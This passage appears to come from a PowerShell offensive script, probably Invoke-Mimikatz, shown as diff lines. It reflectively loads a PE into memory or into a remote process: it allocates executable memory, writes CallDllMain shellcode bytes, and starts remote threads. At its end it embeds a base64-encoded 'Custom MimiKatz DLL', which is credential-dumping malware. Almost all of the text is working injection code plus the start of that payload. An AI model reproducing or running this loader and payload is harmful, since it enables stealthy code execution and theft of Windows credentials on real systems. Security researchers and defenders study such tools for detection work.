$Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + #Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + #Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + #Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + #Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + #Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + #Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($NXCompatible -eq $true) + { + #Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + #Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + #Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + #Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + #Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + #Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } + + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + + #Call DllMain with process detach + #Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null + + + $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) + if ($Success -eq $false) + { + Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue + } + } + + #Start Main Function + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + + $RemoteProcHandle = [IntPtr]::Zero + + #Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future. + #If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege +# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId) +# { +# Write-Verbose "Getting SeDebugPrivilege" +# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants +# } + + #Load the PE reflectively + #Write-Verbose "Calling Invoke-MemoryLoadLibrary" + + if (((Get-WmiObject -Class Win32_Processor).AddressWidth / 8) -ne [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + { + Write-Error "PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS." -ErrorAction Stop + } + + #Custom MimiKatz DLL - Silent Break Security + $PEbytes64 = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADaVpvpnjf1up439bqeN/W6hapfuu039bqFqmu6lDf1uuiqjrqaN/W6+Nk+upw39bqXT2a6izf1up439LqKNvW6hapeuq039bqFqlu6pTf1uoWqbrqfN/W6hapoup839bpSaWNonjf1ugAAAAAAAAAAAAAAAAAAAABQRQAAZIYGACR/DFYAAAAAAAAAAPAAIiALAgoAAG4DAABCAwAAAAAAVIcCAAAQAAAAAACAAQAAAAAQAAAAAgAABQACAAAAAAAFAAIAAAAAAAAQBwAABAAA6/8GAAIAQAEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAMDwGAJAAAACUHAYAGAEAAADgBgC0AQAAALAGADgiAAAAAAAAAAAAAADwBgAEEgAAIIkDABwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIADALgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAACZsAwAAEAAAAG4DAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADAvAIAAIADAAC+AgAAcgMAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAA7GsAAABABgAARgAAADAGAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAADgiAAAAsAYAACQAAAB2BgAAAAAAAAAAAAAAAABAAABALnJzcmMAAAC0AQAAAOAGAAACAAAAmgYAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAAuBYAAADwBgAAGAAAAJwGAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQISIlsJBBIiXQkGFdBVEFVSIPsIEyL4UiLCUyL6rKAhFEBdBAPt0ECZsHICA+32IPDBOsHD7ZZAYPDAkGEVQF0EUEPt0UCZsHICA+3+IPHBOsIQQ+2fQGDxwKEUQF0UI0UH7lAAAAA/xWPdQMASIvwSIXAD4TtAAAASYsUJEyLw0iLyOiUSwIASI0MM0SLx0mL1eiFSwIAD7dGAmbByAhmA8dmwcgIZolGAumgAAAAD7ZpAblAAAAAA++D/X92XYvVSIPCBP8VMXUDAEiL8EiFwA+EjwAAAEmLFCRIjUgERA+2QgFIg8IC6C9LAgBJiwQkRIvHD7ZIAUmL1UiNTDEE6BdLAgBNixwkZsHNCEGKA8ZGAYJmiW4CiAbrM40UH/8V13QDAEiL8EiFwHQ5SYsUJEyLw0iLyOjgSgIASI0MM0SLx0mL1ejRSgIAQAB+AUmLzf8VnHQDAEmLDCT/FZJ0AwBJiTQkSItcJEBIi2wkSEiLdCRQSIPEIEFdQVxfw8xIiVwkCEiJdCQQV0iD7CCK2roCAAAASIvxjUo+SYv4/xVXdAMASIXAdAmAy6DGQAEAiBhIiUQkSEiFwHQnSIX/dBJIjUwkSEiL1+gt/v//SItEJEhIhcB0C0iL0EiLzugY/v//SItcJDBIi3QkOEiDxCBfw0iJXCQISIlsJBBIiXQkGFdBVEFVSIPsIESK4UmL6UGL+LlAAAAASIvyQYP4f3YySI1XBESL7/8VzHMDAEiL2EiFwHRKZsHPCESIIMZAAYJmiXgCSIX2dDZIjUgERYvF6yVIjVcC/xWdcwMASIvYSIXAdBtEiCBAiHgBSIX2dA9IjUgCTIvHSIvW6JpJAgBIhe10EkiF23QLSIvTSIvN6GX9//8z20iLbCRISIt0JFBIi8NIi1wkQEiDxCBBXUFcX8PMzMxIg+x4SI1UJFD/FT1zAwCFwHRmD7dMJFoPt1QkWEQPt0QkVg+3RCRcRA+3VCRSRA+3TCRQiUQkQIlMJDiJVCQwRIlEJChIjUwkYEyNBUubAwC6EAAAAESJVCQg6CRVAgCFwH4VRTPJSI1UJGCxGEWNQQ/oxf7//+sCM8BIg8R4w0BTSIPsMEiL0UiNTCQgQbABM9v/FSt1AwCFwHgjRA+3RCQgSItUJChFM8mxG+iK/v//SI1MJCBIi9j/Ffx0AwBIi8NIg8QwW8PMzMxIi8RIiVgISIloEEiJcBhIiXggQVRBVUFWSIPsILqAAAAASIv5jUrA/xVKcgMASIvYSIXAD4TPAAAASIvISIvXQbg0AAAA6E1IAgCLSzBMjV80TIlbNEKLBBlKjVQZBEyNRBAESIlTQIlDPIsEEEyJQ0xKjVQABIlDSEKLBABMjUQQBIlDVEiJU1iLBBBMiUNkTo1MAASJQ2BCiwQARItDJEyJS3CJQ2xFhcB0FIvISI1TeIPhAUkDyUgDyOjLAgAAi1MwSI1LNOjfogAAi1M8SI1LQOjTogAAi1NISI1LTOjHogAAi1NUSI1LWOi7ogAAi1NgSI1LZOivogAAi1NsSI1LcOijogAASItsJEhIi3QkUEiLfCRYSIvDSItcJEBIg8QgQV5BXUFcw8xIiVwkCFdIg+xASIvZSI09sJkDAEiNDbGZAwBMi8cz0ugLYgAASIXbD4QlAgAARIsLSI0NxJkDAEyLxzPSRIlMJCDo6WEAAESLSwRIjQ36mQMATIvHM9JEiUwkIOjPYQAARItLCEiNDTCaAwBMi8cz0kSJTCQg6LVhAABEi0sMSI0NZpoDAEyLxzPSRIlMJCDom2EAAESLSxBIjQ2cmgMATIvHM9JEiUwkIOiBYQAASI0NzpoDAEyLxzPS6HBhAABIjUsUSIXJdAXo0p8AAEiNDd+aAwDoVmEAAESLSxxIjQ3XmgMATIvHM9JEiUwkIOg8YQAARItLIEiNDQ2bAwBMi8cz0kSJTCQg6CJhAABEi0skSI0NQ5sDAEyLxzPSRIlMJCDoCGEAAESLSyhIjQ15mwMATIvHM9JEiUwkIOjuYAAARItLLEiNDa+bAwBMi8cz0kSJTCQg6NRgAABMi0s0SI0N3ZsDAEyLxzPS6L9gAABMi0tASI0NAJwDAEyLxzPS6KpgAABMi0tMSI0NI5wDAEyLxzPS6JVgAABMi0tYSI0NRpwDAEyLxzPS6IBgAABMi0tkSI0NaZwDAEyLxzPS6GtgAABIjQ2QnAMATIvHM9LoWmAAAEQPt1tsSItDcEiNTCQwZkSJXCQyZkSJXCQwSIlEJDjolpoAAIXAdBNIjVQkMEiNDYKcAwDoIWAAAOsVD7dUJDBIi0wkOEG4AQAAAOi6nQAASI0Nh5kDAOj+XwAARItLJEiNDVecAwBMi8cz0ujpXwAAi1MkSItLeOh5AQAASItcJFBIg8RAX8PMzEiLxEiJWBBIiWgYSIlwIEiJSAhXQVRBVUFWQVdIg+wgTIviQYvQM/+NT0BIweIDQYvoRYvo/xWxbgMASYkEJEiFwA+ErgAAAEUz9kUz/0GNfgGF7Q+E8wAAADP2hf8PhI8AAAC6HAAAAEGL30gDXCRQjUok/xVybgMATIvoSIXAdDlIiwNMjUMISY1NCEmJRQBBi1UETIkBQosEAkGJRRBKjUQCBEmJRRTocp8AAEGLVRBJjU0U6GWfAABJiwQkTIksBk2F7XQVSYsEJEiLDAaLQRADQQRFjXwHDOsCM/9B/8ZIg8YIRDv1D4Jt////hf91WkyL7UmLNCRIhfZ0SYXtdDxIi+5Ii10ASIXbdCdIi0sISIXJdAb/FcZtAwBIi0sUSIXJdAb/FbdtAwBIi8v/Fa5tAwBIg8UISf/NdcdIi87/FZxtAwBJgyQkAEiLXCRYSItsJGBIi3QkaIvHSIPEIEFfQV5BXUFcX8OF0g+EIwEAAEiJXCQISIl0JBBXSIPsQIvaSIv5SIXJD4T3AAAASI0NzJoDAIvT6DFeAACF2w+E4QAAAEiLN0yNBbOVAwBIjQ3UmgMAugIAAADoDl4AAEiF9g+EsAAAAESLDkyNBY+VAwBIjQ3YmgMAugIAAABEiUwkIOjlXQAATItOCEyNBW6VAwBIjQ3vmgMAugIAAADoyV0AAEyNBVaVAwBIjQ3/mgMAugIAAADosV0AAEQPt14QSItGFEiNTCQwZkSJXCQyZkSJXCQwSIlEJDjo7ZcAAIXAdBNIjVQkMEiNDdmZAwDoeF0AAOsVD7dUJDBIi0wkOEG4AQAAAOgRmwAASI0N3pYDAOhVXQAASIPHCEj/yw+FH////0iLXCRQSIt0JFhIg8RAX8NIiVwkCEiJbCQQSIl0JBhXSIPsILo4AAAASIv5jUoI/xUvbAMASIvYSIXAdHlIixdIiRBIi1cISIlQCEiLVxBIiVAQSI1XGEiJUBiLQBRIjXQQEA8QBBC6LAAAAPMPf0MgjUoU/xXqawMASIv4SIXAdCRIi8hIi9ZBuCQAAADo8UECAEiNTyRIjVYkSIkRi1cg6PKcAACLUxRIjUsYSIl7MOjinAAASItsJDhIi3QkQEiLw0iLXCQwSIPEIF/DzMxIiVwkCEiJbCQQV0iD7DBIi9lIjT3zkwMASI0NvJkDAEyLxzPS6E5cAABIhdsPhAUBAABEiwtIjQ3PmQMATIvHM9JEiUwkIOgsXAAASI0N8ZkDAEyLxzPS6BtcAABIjUsE6EKbAABIjS2PlQMASIvN6ANcAABMi0sYSI0N5JkDAEyLxzPS6O5bAABEi1soi0MkRItLIESJXCQoSI0N65kDAEyLxzPSiUQkIOjJWwAASItbMEiF23R4SI0NDZoDAEyLx7oCAAAA6KxbAABIhdt0X0iNDSyaAwBMi8e6AgAAAOiTWwAASIvL6LuaAABIi83og1sAAEiNDSiaAwBMi8e6AgAAAOhvWwAASI1LEOiWmgAASIvN6F5bAABIi1MkuQIAAADoOCAAAEiLzehIWwAASIvN6EBbAABIi1wkQEiLbCRISIPEMF/DQFNIg+wgQbtLREJNM9tBuktTU01FOVkMdR1Bg3kIAg+FnAAAAEGDeRQQD4WRAAAAQQ8QQRjrIEU5URAPhYAAAABBgXkggAAAAHV2QYN5JBB1b0EPEEEoQYvA8w9/AUGDfAEENHJbRTlcARB1IrsBAAAAQTlcAQx1EkGDfAEYIHUKSIvKSY1UARzrKzPb6zJFOVQBFHUrQYF8ASQAAQAAdSBBg3wBKCB1GEiLyrsBAAAASY1UASxBuCAAAADoqz8CAIvDSIPEIFvDzMzMSIlcJAhIiWwkGFZXQVRBVUFWSIPsILpIAAAATIvpjUr4/xVZaQMASIvYSIXAD4QsAQAASIvISYvVQbgoAAAA6Fw/AgCLUyRNjV0oSI1LKEyJGUKLBBqJQzBKjUQaBEiJQzToTZoAAItTMEiNSzToQZoAAESLWzBIuKuqqqqqqqqquUAAAABJ9+NIweoDg3sQBIlTPIPSAEjB4gP/Fd9oAwBIiUNASIXAD4SxAAAASIt8JFgz7TlrPHZnM/ZFM+S6KAAAAI1KGP8Vs2gDAEiLS0BIiQQOSIXAdDhIi0M0QYt8BARIi0NASIsMBkkD/Q8QB/MPfwGDP2RIi89yBEiNTwRIi1NASIPBEEiLFBboagAAAP/FSYPEDEiDxgg7azxynkiF/3Q5g3sQBHMzuigAAACNShj/FUZoAwBIi0tASIkE6UiFwHQYSItTQItHEEiLFOpIjUw4FuggAAAA/0M8SItsJGBIi8NIi1wkUEiDxCBBXkFdQVxfXsPMzMxIiVwkCFdIg+wgiwFIi9pIi/mJQhCFwHRC/8hIg8cFiUIQikEEhMB0I4NCEPyLF4lTHIXSdBYpUxBIg8cESI1LIEiJOUgD+ujsmAAAi1MQSI1LFEiJOejdmAAASItcJDBIg8QgX8PMzEiFyQ+EsAAAAEiJXCQISIl0JBBXSIPsIEiL2UiLSShIhcl0Bv8VamcDAEiLSzRIhcl0Bv8VW2cDAEiDe0AAdGEz9jlzPHZQM/9Ii0NASIM8OAB0OEiLBDhIi0gUSIXJdAb/FS1nAwBIi0NASIsMOEiLSSBIhcl0Bv8VFmcDAEiLS0BIiww5/xUIZwMA/8ZIg8cIO3M8crJIi0tA/xXzZgMASIvL/xXqZgMASItcJDBIi3QkOEiDxCBfw8zMSIvESIlYCEiJaBBIiXAYSIl4IEFVQVZBV0iD7EBIi/lMjS0xjwMASI0NYpYDAE2LxTPS6IxXAABIhf8PhC4CAABIjQ2AlgMATYvFM9LoclcAAEiLz+ialgAATI0955ADAEmLz+hbVwAARItPEEiNDYyWAwBNi8Uz0kSJTCQg6EFXAABIjQ3GlgMATYvFM9LoMFcAAEiNTxRIhcl0BeiSlQAASYvP6BpXAABEi08cSI0N25YDAE2LxTPSRIlMJCDoAFcAAESLTyBIjQ0RlwMATYvFM9JEiUwkIOjmVgAATItPKEiNDUeXAwBNi8Uz0ujRVgAARItPMEiNDXKXAwBNi8Uz0kSJTCQg6LdWAACLTzBIvauqqqqqqqqqSIvFM/ZI9+FIweoDSIXSdE0z20iLVzRNi8WLTBoEi0QaCESLDBqJRCQ4iUQkMIlMJCiJTCQgSI0NaZcDADPS6GZWAACLTzD/xkiLxUiDwwxI9+GLxkjB6gNIO8JytTP2OXc8D4bkAAAAM+1EjXYCSItHQEiNDayXAwBNi8VIixwoQYvW6CFWAABIhdsPhKwAAABEiwtIjQ3SlwMATYvFQYvWRIlMJCDo/lUAAESLWwyLQwhEi0sERIlcJChIjQ37kwMATYvFQYvWiUQkIOjYVQAAg3scAHQwSIN7IAB0KUiNDcCXAwBNi8VBi9bouVUAAItTHEiLSyBFM8DoWpMAAEmLz+iiVQAAg3sQAHQwSIN7FAB0KUiNDaqXAwBNi8VBi9bog1UAAItTEEiLSxRFM8DoJJMAAEmLz+hsVQAA/8ZIg8UIO3c8D4I